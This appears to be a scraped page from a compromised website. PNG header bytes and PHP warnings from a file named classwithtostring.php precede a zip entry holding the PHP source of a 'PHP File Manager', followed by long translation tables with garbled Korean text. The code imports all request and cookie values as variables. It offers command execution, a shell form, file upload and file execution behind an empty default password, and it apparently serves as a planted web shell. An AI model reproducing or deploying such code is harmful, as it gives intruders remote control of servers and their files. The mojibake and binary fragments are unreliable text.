?¡ëPNG  IHDR ? f ??C1 sRGB ??¨¦ gAMA ¡À? ¨¹a pHYs ? ??o¡§d GIDATx^¨ª¨¹L¡±¡Âe¡ÂY?a?("Bh?_¨°???¡é¡ì?q5k?*:t0A-o??£¤]VkJ¡éM??f?¡À8\k2¨ªll¡ê1]q?¨´???T
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/user1137782/www/china1.by/classwithtostring.php on line 86

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 213

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 214

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 215

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 216

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 217

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 218
PK‰† [n’Nˆ¦ˆ¦ index2.phpnuW+A„¶ $val) if (array_search($key,$blockKeys) === false) $$key=$val; foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val; foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val; // +-------------------------------------------------- // | Config // +-------------------------------------------------- $cfg = new config(); $cfg->load(); switch ($error_reporting){ case 0: error_reporting(0); @ini_set("display_errors",0); break; case 1: error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1); break; case 2: error_reporting(E_ALL); @ini_set("display_errors",1); break; } if (!isset($current_dir)){ $current_dir = $path_info["dirname"]."/"; if (!$islinux) $current_dir = ucfirst($current_dir); //@chmod($current_dir,0755); } else $current_dir = format_path($current_dir); // Auto Expand Local Path if (!isset($expanded_dir_list)){ $expanded_dir_list = ""; $mat = explode("/",$path_info["dirname"]); for ($x=0;$x$color){ $fm_color[$tag]=strtolower($color); } // +-------------------------------------------------- // | File Manager Actions // +-------------------------------------------------- if ($loggedon==$auth_pass){ switch ($frame){ case 1: break; // Empty Frame case 2: frame2(); break; case 3: frame3(); break; default: switch($action){ case 1: logout(); break; case 2: config_form(); break; case 3: download(); break; case 4: view(); break; case 5: server_info(); break; case 6: execute_cmd(); break; case 7: edit_file_form(); break; case 8: chmod_form(); break; case 9: shell_form(); break; case 10: upload_form(); break; case 11: execute_file(); break; default: frameset(); } } } else { if (isset($pass)) login(); else login_form(); } // +-------------------------------------------------- // | Config Class // +-------------------------------------------------- class config { var $data; var $filename; function config(){ global $fm_self; $this->data = array( 'lang'=>'en', 'auth_pass'=>md5(''), 'quota_mb'=>0, 'upload_ext_filter'=>array(), 'download_ext_filter'=>array(), 'error_reporting'=>1, 'fm_root'=>'', 'cookie_cache_time'=>60*60*24*30, // 30 Days 'version'=>'0.9.8' ); $data = false; $this->filename = $fm_self; if (file_exists($this->filename)){ $mat = file($this->filename); $objdata = trim(substr($mat[1],2)); if (strlen($objdata)) $data = unserialize($objdata); } if (is_array($data)&&count($data)==count($this->data)) $this->data = $data; else $this->save(); } function save(){ $objdata = "data).chr(13).chr(10); if (strlen($objdata)){ if (file_exists($this->filename)){ $mat = file($this->filename); if ($fh = @fopen($this->filename, "w")){ @fputs($fh,$objdata,strlen($objdata)); for ($x=2;$xdata as $key => $val) $GLOBALS[$key] = $val; } } // +-------------------------------------------------- // | Internationalization // +-------------------------------------------------- function et($tag){ global $lang; // English - by Fabricio Seger Kolling $en['Version'] = 'Version'; $en['DocRoot'] = 'Document Root'; $en['FLRoot'] = 'File Manager Root'; $en['Name'] = 'Name'; $en['And'] = 'and'; $en['Enter'] = 'Enter'; $en['Send'] = 'Send'; $en['Refresh'] = 'Refresh'; $en['SaveConfig'] = 'Save Configurations'; $en['SavePass'] = 'Save Password'; $en['SaveFile'] = 'Save File'; $en['Save'] = 'Save'; $en['Leave'] = 'Leave'; $en['Edit'] = 'Edit'; $en['View'] = 'View'; $en['Config'] = 'Config'; $en['Ren'] = 'Rename'; $en['Rem'] = 'Delete'; $en['Compress'] = 'Compress'; $en['Decompress'] = 'Decompress'; $en['ResolveIDs'] = 'Resolve IDs'; $en['Move'] = 'Move'; $en['Copy'] = 'Copy'; $en['ServerInfo'] = 'Server Info'; $en['CreateDir'] = 'Create Directory'; $en['CreateArq'] = 'Create File'; $en['ExecCmd'] = 'Execute Command'; $en['Upload'] = 'Upload'; $en['UploadEnd'] = 'Upload Finished'; $en['Perm'] = 'Perm'; $en['Perms'] = 'Permissions'; $en['Owner'] = 'Owner'; $en['Group'] = 'Group'; $en['Other'] = 'Other'; $en['Size'] = 'Size'; $en['Date'] = 'Date'; $en['Type'] = 'Type'; $en['Free'] = 'free'; $en['Shell'] = 'Shell'; $en['Read'] = 'Read'; $en['Write'] = 'Write'; $en['Exec'] = 'Execute'; $en['Apply'] = 'Apply'; $en['StickyBit'] = 'Sticky Bit'; $en['Pass'] = 'Password'; $en['Lang'] = 'Language'; $en['File'] = 'File'; $en['File_s'] = 'file(s)'; $en['Dir_s'] = 'directory(s)'; $en['To'] = 'to'; $en['Destination'] = 'Destination'; $en['Configurations'] = 'Configurations'; $en['JSError'] = 'JavaScript Error'; $en['NoSel'] = 'There are no selected itens'; $en['SelDir'] = 'Select the destination directory on the left tree'; $en['TypeDir'] = 'Enter the directory name'; $en['TypeArq'] = 'Enter the file name'; $en['TypeCmd'] = 'Enter the command'; $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $en['RemSel'] = 'DELETE selected itens'; $en['NoDestDir'] = 'There is no selected destination directory'; $en['DestEqOrig'] = 'Origin and destination directories are equal'; $en['InvalidDest'] = 'Destination directory is invalid'; $en['NoNewPerm'] = 'New permission not set'; $en['CopyTo'] = 'COPY to'; $en['MoveTo'] = 'MOVE to'; $en['AlterPermTo'] = 'CHANGE PERMISSIONS to'; $en['ConfExec'] = 'Confirm EXECUTE'; $en['ConfRem'] = 'Confirm DELETE'; $en['EmptyDir'] = 'Empty directory'; $en['IOError'] = 'I/O Error'; $en['FileMan'] = 'PHP File Manager'; $en['TypePass'] = 'Enter the password'; $en['InvPass'] = 'Invalid Password'; $en['ReadDenied'] = 'Read Access Denied'; $en['FileNotFound'] = 'File not found'; $en['AutoClose'] = 'Close on Complete'; $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT'; $en['NoCmd'] = 'Error: Command not informed'; $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway'; $en['ConfSaved'] = 'Configurations saved'; $en['PassSaved'] = 'Password saved'; $en['FileDirExists'] = 'File or directory already exists'; $en['NoPhpinfo'] = 'Function phpinfo disabled'; $en['NoReturn'] = 'no return'; $en['FileSent'] = 'File sent'; $en['SpaceLimReached'] = 'Space limit reached'; $en['InvExt'] = 'Invalid extension'; $en['FileNoOverw'] = 'File could not be overwritten'; $en['FileOverw'] = 'File overwritten'; $en['FileIgnored'] = 'File ignored'; $en['ChkVer'] = 'Check for new version'; $en['ChkVerAvailable'] = 'New version, click here to begin download!!'; $en['ChkVerNotAvailable'] = 'No new version available. :('; $en['ChkVerError'] = 'Connection Error.'; $en['Website'] = 'Website'; $en['SendingForm'] = 'Sending files, please wait'; $en['NoFileSel'] = 'No file selected'; $en['SelAll'] = 'All'; $en['SelNone'] = 'None'; $en['SelInverse'] = 'Inverse'; $en['Selected_s'] = 'selected'; $en['Total'] = 'total'; $en['Partition'] = 'Partition'; $en['RenderTime'] = 'Time to render this page'; $en['Seconds'] = 'sec'; $en['ErrorReport'] = 'Error Reporting'; // Portuguese by - Fabricio Seger Kolling $pt['Version'] = 'Versão'; $pt['DocRoot'] = 'Document Root'; $pt['FLRoot'] = 'File Manager Root'; $pt['Name'] = 'Nome'; $pt['And'] = 'e'; $pt['Enter'] = 'Entrar'; $pt['Send'] = 'Enviar'; $pt['Refresh'] = 'Atualizar'; $pt['SaveConfig'] = 'Salvar Configurações'; $pt['SavePass'] = 'Salvar Senha'; $pt['SaveFile'] = 'Salvar Arquivo'; $pt['Save'] = 'Salvar'; $pt['Leave'] = 'Sair'; $pt['Edit'] = 'Editar'; $pt['View'] = 'Visualizar'; $pt['Config'] = 'Config'; $pt['Ren'] = 'Renomear'; $pt['Rem'] = 'Apagar'; $pt['Compress'] = 'Compactar'; $pt['Decompress'] = 'Descompactar'; $pt['ResolveIDs'] = 'Resolver IDs'; $pt['Move'] = 'Mover'; $pt['Copy'] = 'Copiar'; $pt['ServerInfo'] = 'Server Info'; $pt['CreateDir'] = 'Criar Diretório'; $pt['CreateArq'] = 'Criar Arquivo'; $pt['ExecCmd'] = 'Executar Comando'; $pt['Upload'] = 'Upload'; $pt['UploadEnd'] = 'Upload Terminado'; $pt['Perm'] = 'Perm'; $pt['Perms'] = 'Permissões'; $pt['Owner'] = 'Dono'; $pt['Group'] = 'Grupo'; $pt['Other'] = 'Outros'; $pt['Size'] = 'Tamanho'; $pt['Date'] = 'Data'; $pt['Type'] = 'Tipo'; $pt['Free'] = 'livre'; $pt['Shell'] = 'Shell'; $pt['Read'] = 'Ler'; $pt['Write'] = 'Escrever'; $pt['Exec'] = 'Executar'; $pt['Apply'] = 'Aplicar'; $pt['StickyBit'] = 'Sticky Bit'; $pt['Pass'] = 'Senha'; $pt['Lang'] = 'Idioma'; $pt['File'] = 'Arquivo'; $pt['File_s'] = 'arquivo(s)'; $pt['Dir_s'] = 'diretorio(s)'; $pt['To'] = 'para'; $pt['Destination'] = 'Destino'; $pt['Configurations'] = 'Configurações'; $pt['JSError'] = 'Erro de JavaScript'; $pt['NoSel'] = 'Não há itens selecionados'; $pt['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda'; $pt['TypeDir'] = 'Digite o nome do diretório'; $pt['TypeArq'] = 'Digite o nome do arquivo'; $pt['TypeCmd'] = 'Digite o commando'; $pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $pt['RemSel'] = 'APAGAR itens selecionados'; $pt['NoDestDir'] = 'Não há um diretório de destino selecionado'; $pt['DestEqOrig'] = 'Diretório de origem e destino iguais'; $pt['InvalidDest'] = 'Diretório de destino inválido'; $pt['NoNewPerm'] = 'Nova permissão não foi setada'; $pt['CopyTo'] = 'COPIAR para'; $pt['MoveTo'] = 'MOVER para'; $pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para'; $pt['ConfExec'] = 'Confirma EXECUTAR'; $pt['ConfRem'] = 'Confirma APAGAR'; $pt['EmptyDir'] = 'Diretório vazio'; $pt['IOError'] = 'Erro de E/S'; $pt['FileMan'] = 'PHP File Manager'; $pt['TypePass'] = 'Digite a senha'; $pt['InvPass'] = 'Senha Inválida'; $pt['ReadDenied'] = 'Acesso de leitura negado'; $pt['FileNotFound'] = 'Arquivo não encontrado'; $pt['AutoClose'] = 'Fechar Automaticamente'; $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT'; $pt['NoCmd'] = 'Erro: Comando não informado'; $pt['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo'; $pt['ConfSaved'] = 'Configurações salvas'; $pt['PassSaved'] = 'Senha salva'; $pt['FileDirExists'] = 'Arquivo ou diretório já existe'; $pt['NoPhpinfo'] = 'Função phpinfo desabilitada'; $pt['NoReturn'] = 'sem retorno'; $pt['FileSent'] = 'Arquivo enviado'; $pt['SpaceLimReached'] = 'Limite de espaço alcançado'; $pt['InvExt'] = 'Extensão inválida'; $pt['FileNoOverw'] = 'Arquivo não pode ser sobreescrito'; $pt['FileOverw'] = 'Arquivo sobreescrito'; $pt['FileIgnored'] = 'Arquivo omitido'; $pt['ChkVer'] = 'Verificar por nova versão'; $pt['ChkVerAvailable'] = 'Nova versão, clique aqui para iniciar download!!'; $pt['ChkVerNotAvailable'] = 'Não há nova versão disponível. :('; $pt['ChkVerError'] = 'Erro de conexão.'; $pt['Website'] = 'Website'; $pt['SendingForm'] = 'Enviando arquivos, aguarde'; $pt['NoFileSel'] = 'Nenhum arquivo selecionado'; $pt['SelAll'] = 'Tudo'; $pt['SelNone'] = 'Nada'; $pt['SelInverse'] = 'Inverso'; $pt['Selected_s'] = 'selecionado(s)'; $pt['Total'] = 'total'; $pt['Partition'] = 'Partição'; $pt['RenderTime'] = 'Tempo para gerar esta página'; $pt['Seconds'] = 'seg'; $pt['ErrorReport'] = 'Error Reporting'; // Spanish - by Sh Studios $es['Version'] = 'Versión'; $es['DocRoot'] = 'Raiz del programa'; $es['FLRoot'] = 'Raiz del administrador de archivos'; $es['Name'] = 'Nombre'; $es['And'] = 'y'; $es['Enter'] = 'Enter'; $es['Send'] = 'Enviar'; $es['Refresh'] = 'Refrescar'; $es['SaveConfig'] = 'Guardar configuraciones'; $es['SavePass'] = 'Cuardar Contraseña'; $es['SaveFile'] = 'Guardar Archivo'; $es['Save'] = 'Guardar'; $es['Leave'] = 'Salir'; $es['Edit'] = 'Editar'; $es['View'] = 'Mirar'; $es['Config'] = 'Config.'; $es['Ren'] = 'Renombrar'; $es['Rem'] = 'Borrar'; $es['Compress'] = 'Comprimir'; $es['Decompress'] = 'Decomprimir'; $es['ResolveIDs'] = 'Resolver IDs'; $es['Move'] = 'Mover'; $es['Copy'] = 'Copiar'; $es['ServerInfo'] = 'Info del Server'; $es['CreateDir'] = 'Crear Directorio'; $es['CreateArq'] = 'Crear Archivo'; $es['ExecCmd'] = 'Ejecutar Comando'; $es['Upload'] = 'Subir'; $es['UploadEnd'] = 'Subida exitosa'; $es['Perm'] = 'Perm'; $es['Perms'] = 'Permisiones'; $es['Owner'] = 'Propietario'; $es['Group'] = 'Grupo'; $es['Other'] = 'Otro'; $es['Size'] = 'Tamaño'; $es['Date'] = 'Fecha'; $es['Type'] = 'Tipo'; $es['Free'] = 'libre'; $es['Shell'] = 'Ejecutar'; $es['Read'] = 'Leer'; $es['Write'] = 'Escribir'; $es['Exec'] = 'Ejecutar'; $es['Apply'] = 'Aplicar'; $es['StickyBit'] = 'Sticky Bit'; $es['Pass'] = 'Contraseña'; $es['Lang'] = 'Lenguage'; $es['File'] = 'Archivos'; $es['File_s'] = 'archivo(s)'; $es['Dir_s'] = 'directorio(s)'; $es['To'] = 'a'; $es['Destination'] = 'Destino'; $es['Configurations'] = 'Configuracion'; $es['JSError'] = 'Error de JavaScript'; $es['NoSel'] = 'No hay items seleccionados'; $es['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho'; $es['TypeDir'] = 'Escriba el nombre del directorio'; $es['TypeArq'] = 'Escriba el nombre del archivo'; $es['TypeCmd'] = 'Escriba el comando'; $es['TypeArqComp'] = 'Escriba el nombre del directorio.\\nLa extension definira el tipo de compresion.\\nEj:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $es['RemSel'] = 'BORRAR items seleccionados'; $es['NoDestDir'] = 'No se ha seleccionado el directorio de destino'; $es['DestEqOrig'] = 'El origen y el destino son iguales'; $es['InvalidDest'] = 'El destino del directorio es invalido'; $es['NoNewPerm'] = 'Las permisiones no se pudieron establecer'; $es['CopyTo'] = 'COPIAR a'; $es['MoveTo'] = 'MOVER a'; $es['AlterPermTo'] = 'CAMBIAR PERMISIONES a'; $es['ConfExec'] = 'Confirmar EJECUCION'; $es['ConfRem'] = 'Confirmar BORRADO'; $es['EmptyDir'] = 'Directorio Vacio'; $es['IOError'] = 'Error I/O'; $es['FileMan'] = 'PHP File Manager'; $es['TypePass'] = 'Escriba la contraseña'; $es['InvPass'] = 'Contraseña invalida'; $es['ReadDenied'] = 'Acceso de lectura denegado'; $es['FileNotFound'] = 'Archivo no encontrado'; $es['AutoClose'] = 'Cerrar al completar'; $es['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT'; $es['NoCmd'] = 'Error: No se ha escrito ningun comando'; $es['ConfTrySave'] = 'Archivo sin permisos de escritura.\\nIntente guardar en otro lugar'; $es['ConfSaved'] = 'Configuracion Guardada'; $es['PassSaved'] = 'Contraseña guardada'; $es['FileDirExists'] = 'Archivo o directorio ya existente'; $es['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada'; $es['NoReturn'] = 'sin retorno'; $es['FileSent'] = 'Archivo enviado'; $es['SpaceLimReached'] = 'Limite de espacio en disco alcanzado'; $es['InvExt'] = 'Extension inalida'; $es['FileNoOverw'] = 'El archivo no pudo ser sobreescrito'; $es['FileOverw'] = 'Archivo sobreescrito'; $es['FileIgnored'] = 'Archivo ignorado'; $es['ChkVer'] = 'Chequear las actualizaciones'; $es['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!'; $es['ChkVerNotAvailable'] = 'Su version es la mas reciente.'; $es['ChkVerError'] = 'Error de coneccion.'; $es['Website'] = 'Sitio Web'; $es['SendingForm'] = 'Enviando archivos, espere!'; $es['NoFileSel'] = 'Ningun archivo seleccionado'; $es['SelAll'] = 'Todos'; $es['SelNone'] = 'Ninguno'; $es['SelInverse'] = 'Inverso'; $es['Selected_s'] = 'seleccionado'; $es['Total'] = 'total'; $es['Partition'] = 'Particion'; $es['RenderTime'] = 'Generado en'; $es['Seconds'] = 'seg'; $es['ErrorReport'] = 'Reporte de error'; // Korean - by Airplanez $kr['Version'] = '버전'; $kr['DocRoot'] = '웹서버 루트'; $kr['FLRoot'] = 'íŒŒì¼ ë§¤ë‹ˆì € 루트'; $kr['Name'] = 'ì´ë¦„'; $kr['Enter'] = 'ìž…ë ¥'; $kr['Send'] = '전송'; $kr['Refresh'] = '새로고침'; $kr['SaveConfig'] = '환경 저장'; $kr['SavePass'] = '비밀번호 저장'; $kr['SaveFile'] = 'íŒŒì¼ ì €ìž¥'; $kr['Save'] = '저장'; $kr['Leave'] = '나가기'; $kr['Edit'] = '수정'; $kr['View'] = '보기'; $kr['Config'] = '환경'; $kr['Ren'] = 'ì´ë¦„바꾸기'; $kr['Rem'] = 'ì‚­ì œ'; $kr['Compress'] = '압축하기'; $kr['Decompress'] = '압축풀기'; $kr['ResolveIDs'] = '소유ìž'; $kr['Move'] = 'ì´ë™'; $kr['Copy'] = '복사'; $kr['ServerInfo'] = '서버 ì •ë³´'; $kr['CreateDir'] = '디렉토리 ìƒì„±'; $kr['CreateArq'] = 'íŒŒì¼ ìƒì„±'; $kr['ExecCmd'] = '명령 실행'; $kr['Upload'] = '업로드'; $kr['UploadEnd'] = '업로드가 완료ë˜ì—ˆìŠµë‹ˆë‹¤.'; $kr['Perm'] = '권한'; $kr['Perms'] = '권한'; $kr['Owner'] = '소유ìž'; $kr['Group'] = '그룹'; $kr['Other'] = '모든사용ìž'; $kr['Size'] = 'í¬ê¸°'; $kr['Date'] = 'ë‚ ì§œ'; $kr['Type'] = '종류'; $kr['Free'] = '여유'; $kr['Shell'] = '쉘'; $kr['Read'] = 'ì½ê¸°'; $kr['Write'] = '쓰기'; $kr['Exec'] = '실행'; $kr['Apply'] = 'ì ìš©'; $kr['StickyBit'] = '스티키 비트'; $kr['Pass'] = '비밀번호'; $kr['Lang'] = '언어'; $kr['File'] = '파ì¼'; $kr['File_s'] = '파ì¼'; $kr['To'] = '으로'; $kr['Destination'] = '대ìƒ'; $kr['Configurations'] = '환경'; $kr['JSError'] = 'ìžë°”스í¬ë¦½íЏ 오류'; $kr['NoSel'] = 'ì„ íƒëœ ê²ƒì´ ì—†ìŠµë‹ˆë‹¤'; $kr['SelDir'] = '왼쪽리스트ì—서 ëŒ€ìƒ ë””ë ‰í† ë¦¬ë¥¼ ì„ íƒí•˜ì„¸ìš”'; $kr['TypeDir'] = 'ë””ë ‰í† ë¦¬ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”'; $kr['TypeArq'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”'; $kr['TypeCmd'] = 'ëª…ë ¹ì„ ìž…ë ¥í•˜ì„¸ìš”'; $kr['TypeArqComp'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”.\\n확장ìžì— ë”°ë¼ ì••ì¶•í˜•ì‹ì´ 정해집니다.\\n예:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $kr['RemSel'] = 'ì„ íƒëœ ê²ƒì„ ì‚­ì œí–ˆìŠµë‹ˆë‹¤'; $kr['NoDestDir'] = 'ì„ íƒëœ ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 없습니다.'; $kr['DestEqOrig'] = 'ì›ëž˜ 디렉토리와 ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 같습니다'; $kr['NoNewPerm'] = '새로운 ê¶Œí•œì´ ì„¤ì •ë˜ì§€ 않았습니다'; $kr['CopyTo'] = 'ì—¬ê¸°ì— ë³µì‚¬'; $kr['MoveTo'] = '여기로 ì´ë™'; $kr['AlterPermTo'] = '으로 권한변경'; $kr['ConfExec'] = '실행 확ì¸'; $kr['ConfRem'] = 'ì‚­ì œ 확ì¸'; $kr['EmptyDir'] = '빈 디렉토리'; $kr['IOError'] = 'ìž…/출력 오류'; $kr['FileMan'] = 'PHP íŒŒì¼ ë§¤ë‹ˆì €'; $kr['TypePass'] = '비밀번호를 입력하세요'; $kr['InvPass'] = '비밀번호가 틀립니다'; $kr['ReadDenied'] = 'ì½ê¸°ê°€ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤'; $kr['FileNotFound'] = '파ì¼ì´ 없습니다'; $kr['AutoClose'] = '완료후 닫기'; $kr['OutDocRoot'] = 'DOCUMENT_ROOT ì´ë‚´ì˜ 파ì¼ì´ 아닙니다'; $kr['NoCmd'] = '오류: ëª…ë ¹ì´ ì‹¤í–‰ë˜ì§€ 않았습니다'; $kr['ConfTrySave'] = '파ì¼ì— 쓰기 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.\\nê·¸ëž˜ë„ ì €ìž¥í•˜ì‹œê² ìŠµë‹ˆê¹Œ'; $kr['ConfSaved'] = 'í™˜ê²½ì´ ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤'; $kr['PassSaved'] = '비밀번호 저장'; $kr['FileDirExists'] = 'íŒŒì¼ ë˜ëŠ” 디렉토리가 ì´ë¯¸ 존재합니다'; $kr['NoPhpinfo'] = 'PHPINFO()를 사용할수 없습니다'; $kr['NoReturn'] = '반환값 ì—†ìŒ'; $kr['FileSent'] = 'íŒŒì¼ ì „ì†¡'; $kr['SpaceLimReached'] = '저장공가 여유가 없습니다'; $kr['InvExt'] = '유효하지 ì•Šì€ í™•ìž¥ìž'; $kr['FileNoOverw'] = '파ì¼ì„ ë®ì–´ 쓸수 없습니다'; $kr['FileOverw'] = '파ì¼ì„ ë®ì–´ ì¼ìŠµë‹ˆë‹¤'; $kr['FileIgnored'] = '파ì¼ì´ 무시ë˜ì—ˆìŠµë‹ˆë‹¤'; $kr['ChkVer'] = 'ì—서 새버전 확ì¸'; $kr['ChkVerAvailable'] = '새로운 ë²„ì „ì´ ìžˆìŠµë‹ˆë‹¤. 다운받으려면 í´ë¦­í•˜ì„¸ìš”!!'; $kr['ChkVerNotAvailable'] = '새로운 ë²„ì „ì´ ì—†ìŠµë‹ˆë‹¤. :('; $kr['ChkVerError'] = 'ì—°ê²° 오류'; $kr['Website'] = '웹사ì´íЏ'; $kr['SendingForm'] = '파ì¼ì„ 전송중입니다. 기다리세요'; $kr['NoFileSel'] = '파ì¼ì´ ì„ íƒë˜ì§€ 않았습니다'; $kr['SelAll'] = '모든'; $kr['SelNone'] = '제로'; $kr['SelInverse'] = 'ì—­'; // German - by Guido Ogrzal $de1['Version'] = 'Version'; $de1['DocRoot'] = 'Dokument Wurzelverzeichnis'; $de1['FLRoot'] = 'Dateimanager Wurzelverzeichnis'; $de1['Name'] = 'Name'; $de1['And'] = 'und'; $de1['Enter'] = 'Eintreten'; $de1['Send'] = 'Senden'; $de1['Refresh'] = 'Aktualisieren'; $de1['SaveConfig'] = 'Konfiguration speichern'; $de1['SavePass'] = 'Passwort speichern'; $de1['SaveFile'] = 'Datei speichern'; $de1['Save'] = 'Speichern'; $de1['Leave'] = 'Verlassen'; $de1['Edit'] = 'Bearbeiten'; $de1['View'] = 'Ansehen'; $de1['Config'] = 'Konfigurieren'; $de1['Ren'] = 'Umbenennen'; $de1['Rem'] = 'Löschen'; $de1['Compress'] = 'Komprimieren'; $de1['Decompress'] = 'Dekomprimieren'; $de1['ResolveIDs'] = 'Resolve IDs'; $de1['Move'] = 'Verschieben'; $de1['Copy'] = 'Kopieren'; $de1['ServerInfo'] = 'Server-Info'; $de1['CreateDir'] = 'Neues Verzeichnis'; $de1['CreateArq'] = 'Neue Datei'; $de1['ExecCmd'] = 'Kommando'; $de1['Upload'] = 'Datei hochladen'; $de1['UploadEnd'] = 'Datei hochladen beendet'; $de1['Perm'] = 'Erlaubnis'; $de1['Perms'] = 'Erlaubnis'; $de1['Owner'] = 'Besitzer'; $de1['Group'] = 'Gruppe'; $de1['Other'] = 'Andere'; $de1['Size'] = 'Größe'; $de1['Date'] = 'Datum'; $de1['Type'] = 'Typ'; $de1['Free'] = 'frei'; $de1['Shell'] = 'Shell'; $de1['Read'] = 'Lesen'; $de1['Write'] = 'Schreiben'; $de1['Exec'] = 'Ausführen'; $de1['Apply'] = 'Bestätigen'; $de1['StickyBit'] = 'Sticky Bit'; $de1['Pass'] = 'Passwort'; $de1['Lang'] = 'Sprache'; $de1['File'] = 'Datei'; $de1['File_s'] = 'Datei(en)'; $de1['Dir_s'] = 'Verzeichniss(e)'; $de1['To'] = '->'; $de1['Destination'] = 'Ziel'; $de1['Configurations'] = 'Konfiguration'; $de1['JSError'] = 'JavaScript Fehler'; $de1['NoSel'] = 'Es gibt keine selektierten Objekte'; $de1['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum'; $de1['TypeDir'] = 'Trage den Verzeichnisnamen ein'; $de1['TypeArq'] = 'Trage den Dateinamen ein'; $de1['TypeCmd'] = 'Gib das Kommando ein'; $de1['TypeArqComp'] = 'Trage den Dateinamen ein.\\nDie Dateierweiterung wird den Kompressiontyp bestimmen.\\nBsp.:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $de1['RemSel'] = 'LÖSCHE die selektierten Objekte'; $de1['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht'; $de1['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen überein'; $de1['InvalidDest'] = 'Zielverzeichnis ist ungültig'; $de1['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden'; $de1['CopyTo'] = 'KOPIERE nach'; $de1['MoveTo'] = 'VERSCHIEBE nach'; $de1['AlterPermTo'] = 'ÄNDERE ZUGRIFFSERLAUBSNIS in'; $de1['ConfExec'] = 'Bestätige AUSFÜHRUNG'; $de1['ConfRem'] = 'Bestätige LÖSCHEN'; $de1['EmptyDir'] = 'Leeres Verzeichnis'; $de1['IOError'] = 'Eingabe/Ausgabe-Fehler'; $de1['FileMan'] = 'PHP File Manager'; $de1['TypePass'] = 'Trage das Passwort ein'; $de1['InvPass'] = 'Ungültiges Passwort'; $de1['ReadDenied'] = 'Lesezugriff verweigert'; $de1['FileNotFound'] = 'Datei nicht gefunden'; $de1['AutoClose'] = 'Schließen, wenn fertig'; $de1['OutDocRoot'] = 'Datei außerhalb von DOCUMENT_ROOT'; $de1['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen'; $de1['ConfTrySave'] = 'Keine Schreibberechtigung für die Datei.\\nVersuche trotzdem zu speichern'; $de1['ConfSaved'] = 'Konfiguration gespeichert'; $de1['PassSaved'] = 'Passwort gespeichert'; $de1['FileDirExists'] = 'Datei oder Verzeichnis existiert schon'; $de1['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv'; $de1['NoReturn'] = 'keine Rückgabe'; $de1['FileSent'] = 'Datei wurde gesendet'; $de1['SpaceLimReached'] = 'Verfügbares Speicherlimit wurde erreicht'; $de1['InvExt'] = 'Ungültige Dateiendung'; $de1['FileNoOverw'] = 'Datei kann nicht überschrieben werden'; $de1['FileOverw'] = 'Datei überschrieben'; $de1['FileIgnored'] = 'Datei ignoriert'; $de1['ChkVer'] = 'Prüfe auf neue Version'; $de1['ChkVerAvailable'] = 'Neue Version verfügbar; klicke hier, um den Download zu starten!!'; $de1['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :('; $de1['ChkVerError'] = 'Verbindungsfehler.'; $de1['Website'] = 'Webseite'; $de1['SendingForm'] = 'Sende Dateien... Bitte warten.'; $de1['NoFileSel'] = 'Keine Datei selektiert'; $de1['SelAll'] = 'Alle'; $de1['SelNone'] = 'Keine'; $de1['SelInverse'] = 'Invertieren'; $de1['Selected_s'] = 'selektiert'; $de1['Total'] = 'Gesamt'; $de1['Partition'] = 'Partition'; $de1['RenderTime'] = 'Zeit, um die Seite anzuzeigen'; $de1['Seconds'] = 's'; $de1['ErrorReport'] = 'Fehlerreport'; // German - by AXL $de2['Version'] = 'Version'; $de2['DocRoot'] = 'Document Stammverzeichnis'; $de2['FLRoot'] = 'Datei Manager Stammverzeichnis'; $de2['Name'] = 'Name'; $de2['And'] = 'und'; $de2['Enter'] = 